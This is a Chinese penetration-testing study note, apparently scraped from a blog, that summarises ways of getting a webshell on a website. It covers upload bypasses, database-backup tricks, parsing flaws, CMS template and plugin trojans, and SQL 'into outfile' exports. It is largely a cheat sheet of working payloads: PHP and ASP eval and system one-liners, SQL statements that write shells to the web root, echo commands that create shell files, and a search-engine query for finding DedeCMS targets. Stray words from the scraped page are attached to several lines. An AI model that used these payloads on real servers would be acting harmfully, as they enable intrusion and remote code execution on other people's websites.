滲透測試學習 二12、getshell總結

大綱php

    管理員權限拿shelljava

         普通權限拿shellmysql

         常見cms拿shellnginx

 

         進後臺主要是能夠對網站前臺的內容,樣式等作操做,要改腳本的內容的權限只有在webshell的權限下才能夠(某些狀況除外)。web

 

管理員權限拿shellsql

         須要有管理員權限才能夠拿shellshell

         一般須要登陸後臺執行相關操做數據庫

         直接上傳拿shellapache

         國內多對上傳類型進行了限制,須要在進行繞過操做服務器

         示例:織夢後臺查找(改過以後的)

         Google intext:powerd by DedeCMSV57_UTD8_SP2

         DEDECMS V5.7

         拿到織夢後臺,基本就拿到了shell

         文件式管理器->可修改網站腳本內容,也能夠上傳腳本

         若碰見文件權限問題,能夠修改文件名爲../往上級目錄翻

 

數據庫備份拿shell

         網站上傳的文件後綴名進行過濾,不容許上傳腳本類型文件,如asp,php,jsp,aspx等,二網站具備數據庫備份的功能,這時咱們能夠將webshell格式先改成可上傳的格式,而後,將找到上傳後的文件路徑經過數據庫備份,將文件備份爲腳本格式。

         示例:南方數據 v7.0    良精通用企業網站管理系統

         有時會將系統管理中的按鈕刪除,可是功能是依舊存在的,(腳本文件名,數據庫備份:Manage_backup.asp)能夠在網站檢查中,將其餘鏈接的地址改成數據庫備份的地址。閹割版的網站,常見於ecshop,wordpress,dedecms,aspcms,良精,帝國,南方,phpv9,科訊。能夠本地下載完整的網站源碼,本身搭建,對目標網站嘗試修改拼接。

 

突破上傳拿shell

         本地js驗證上傳

         服務器mime上傳

         服務器白名單上傳

         服務器黑名單上傳

         服務器filepath上傳

         雙文件上傳

         %00截斷上傳

         上傳其餘腳本類型拿shell

 

修改網站上傳類型配置拿shell

         有的網站在網站上傳類型中限制了上傳腳本類型文件,能夠添加上傳文件類型,如php,jsp,asp等拿shell

 

利用解析漏洞拿shell

         一、IIS 5.x/6.0解析漏洞          目錄解析,分號解析,畸形文件名解析

         二、IIS 7.0/7.5,Nginx<8.03畸形文件名解析漏洞,php文件解析漏洞

         三、Nginx<8.03空字節代碼執行漏洞

         四、Apache解析漏洞

 

利用編輯器漏洞拿shell

         常見的編輯器有fckeditor,ewebeditor,cheditor

 

網站配置插馬拿shell

         經過找到網站默認配置,將一句話插入到網站配置中,能夠事先下載網站源碼,查看過濾規則,防止插馬失敗("%><%eval request(「abc」)%><%’)根據網站源碼進行符號匹配。

 

經過編輯模板拿shell

         一、經過對網站的模板進行編輯,寫入一句話,而後生成腳本文件拿shell

         二、經過將木馬添加到壓縮文件,把名字改成網站模板類型,上傳到網站服務器,拿shell

         示例:ecshop

         模板管理——庫項目管理——配送方式

         寫入php腳本驗證:<?php phpinfo();?>

         訪問/myship.php發現執行了phpinfo,以後就能夠寫入一句話,菜刀鏈接。注意:有時在後面有」?>」時,不會成功,能夠去掉再嘗試一下。

         數據庫管理——SQL查詢——輸入」use mysql」讓報錯,爆出路徑——select 「<?php phpinfo();?>」 into outfile ‘地址\\x.php

         注意:Windows中,斜槓要用兩個反斜槓,Linux路徑用單個斜槓

         數據庫管理——數據庫備份——自定義備份(配合IIS6.0解析漏洞)建立用戶(用戶裏面寫入一句話)——放在ecs_users表中——備份——文件名爲u.asp;.sql

 

上傳插件拿shell

         一些網站爲了增長某些功能會在後臺添加一些插件來實現,咱們能夠把木馬添加到安裝的插件中上傳服務器拿shell,常見的有博客類網站dz論壇等

         示例:WordPress-V4.2.2

         搭建時要先建立數據庫

         phpstudy——mysql——create database wpp;

         插件——已安裝的插件——安裝插件——下載一個正常的插件,將木馬放在裏面,一塊兒上傳,安裝——找上傳目錄

 

數據庫執行拿shell

         可經過數據庫執行命令導出一句話到網站根目錄拿shell,access數據庫導出通常須要利用解析漏洞xx.asp;.xml

         sqlserver導出:;exec%20sp_makewebtask%20%20%27c:\zhetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execute(request(「cmd」))%>%27%27%27

         mysql命令導出shell

         create TABLE study (cmd text Not NULL);

         insert INTO study (cmd) VALUES(‘<?php eval($_POST[cmd])?>’);

         select cmd from study into outfile ‘D:/php/www/htdocs/test/seven.php’;

         drop TABLE IF EXISTS study;

         use mysql;

         create table x (packet text) type=MYISaM;

         insert into x (packet) values(‘<pre><body><?php @system($_GET[「cmd」]);?></body></pre>’)

         select x into outfile ‘d:\php\xx.php’

         select ‘<?php eval($_POST[cmd]);?>’ into outfile ‘c:/inetpub/wwwroot/mysql.php/1.php’

 

1.進入phpmyadmin

2.知道網站路徑

3.直接執行SQL語句導入shell

注:有時可能出現不容許直接導shell

         解決方法:首頁——變量——general lag 編輯——ON——general log file 編輯 D:\phpstudy\www\ba.php——SQL——一句話用引號引發來——執行——報錯——生成日誌,利用日誌記錄生成shell

4.不知道路徑時——推理路徑

         首頁——變量——mysql的集成環境路徑——apache的路徑也知道了——D:\phpstudy\Apache\conf\httpd.conf——找個數據庫——建立表:

create table a(a text);

開外鏈

load data infile 「D:/phpstudy/Apache/conf/httpd.conf」 into table  a;

導出SQL搜索documentroot

 

路徑推理

D:/phpstudy/Apache/conf/httpd.conf                       配置文件的路徑,找網站根目錄

Apache

/usr/local/mysql

/usr/local/apache/conf/httpd.conf

/usr/local/httpd/conf/httpd.conf

/etc/httpd/conf/httpd.conf

/usr/local/apache2/conf/httpd.conf

ngnix

/usr/local/nginx/conf/nginx.conf

phpmyadmin通常在網站根目錄下

         當找不到配置文件時,能夠讀大文件,因爲文件太大會報錯,有可能會報出phpmyadmin的路徑。

 

文件包含拿shell    多用於上傳大馬

         先將webshell改成txt文件上傳,而後上傳一個腳本文件包含該txt文件,可繞過waf拿shell

         asp包含

         1.<!--#include file=」123.jpg」-->

         2.調用的文件必須和被調用的文件在同一目錄,不然找不到

         3.若是找不到,用下面的語句

         <--#include virtual=」文件所在目錄/123.jpg」-->

         php包含

         <?php include(「123.jpg」)?>

 

命令執行拿shell

         echo ^<^?php @eval($_POST[‘abc’]);?^>^ >c:\1.php

         echo ^<^?php @eval($_POST[‘abc’]);?^>^ >c:\1.php

         ^<^%eval request(「abc」)%^>^ >c:\1.php

 

普通用戶前臺拿shell

         0day拿shell

         IIS寫權限拿shell

         命令執行拿shell

         經過注入漏洞拿shell

    前臺用戶頭像上傳拿shell

         strusts2拿shell

         java反序列拿shell

相關文章
相關標籤/搜索